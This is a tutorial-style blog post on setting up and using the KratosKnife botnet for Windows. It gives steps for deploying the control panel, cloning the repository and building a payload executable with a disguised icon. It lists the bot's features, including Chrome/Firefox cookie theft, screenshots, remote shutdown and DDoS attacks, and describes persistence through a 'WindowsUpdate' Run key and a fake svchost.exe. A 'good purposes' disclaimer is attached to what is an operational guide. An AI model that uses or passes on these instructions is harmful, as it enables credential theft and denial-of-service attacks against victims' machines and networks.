How to Set Up and Use KratosKnife Botnet

Sep 21, 2024 | Programming

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KratosKnife is an advanced botnet written in Python 3 designed for Windows OS. It comes with various sophisticated features, including persistence and VM detection methods.

Disclaimer

:computer: This project was created only for good purposes and personal use. THIS SOFTWARE IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.

Prerequisites

  • Python 3.X
  • Few External Modules

Server Setup

Here’s how to correctly set up the server for the KratosKnife botnet:

  1. Upload and unzip panel.zip on your hosting available in this repository.
  2. Create a database with any name you desire.
  3. Change the data in classesDatabase.php.
  4. Change files and folders permission to 777 for the Uploads Folder and Scripts Folder.
  5. Go to install.php to automatically create the botnet tables.

For Local Testing

  1. Install XAMPP and put panel files in the htdocs folder.
  2. Run Apache MySQL Service in XAMPP Controller.
  3. Create a database with any name you desire.
  4. Change the data in classesDatabase.php.
  5. Go to install.php to automatically create the botnet tables.

Installation

To install KratosKnife and its dependencies, follow these commands:

bash
# Install dependencies
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/KratosKnife.git

# Go into the repository
$ cd KratosKnifeBotnet-Generator

# Installing dependencies
$ python -m pip install -r requirements.txt

# Update pyinstaller.exe path in Generator.py (line 9)

# Getting Help Menu
$ python Generator.py --help

# Making Payload BOTNET
$ python Generator.py -s localhostpanel -o output_file_name --icon iconexe.ico

Understanding the Payload Creation Process

Think of creating a payload for KratosKnife like crafting a secret recipe. You gather all your ingredients (command options) and mix them according to your specific tastes (requirements) to create a final dish (output file). Each ingredient impacts the flavor (functionality) of your final dish, so you must use them wisely!

Available Commands

  • Clients Command:
    • Ping: Get Location Information
    • Stealer: Access Firefox/Chrome Cookies
    • Take Screenshot
  • Computer Commands:
    • Shutdown
    • Restart
    • Logoff
  • DDOS Attack:
    • Start DDOS
    • Close Connection

Removing the Botnet

  1. Method 1:
    • Run regedit and navigate to Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
    • Delete the entry called WindowsUpdate.
    • Delete the file named svchost.exe from your user path AppData\Roaming.
    • Restart the System.
  2. Method 2:
    • Run RemoveBOTNET.bat on the infected system.
    • Restart the infected PC to stop the currently running evil file.
    • Run RemoveBOTNET.bat again.

Troubleshooting

If you encounter issues during setup or during your use of KratosKnife, consider the following:

  • Ensure that you have Python 3 and the necessary dependencies installed correctly.
  • If permissions errors occur, double-check the file and folder permissions.
  • Verify your database setup and ensure configurations in classesDatabase.php are accurate.

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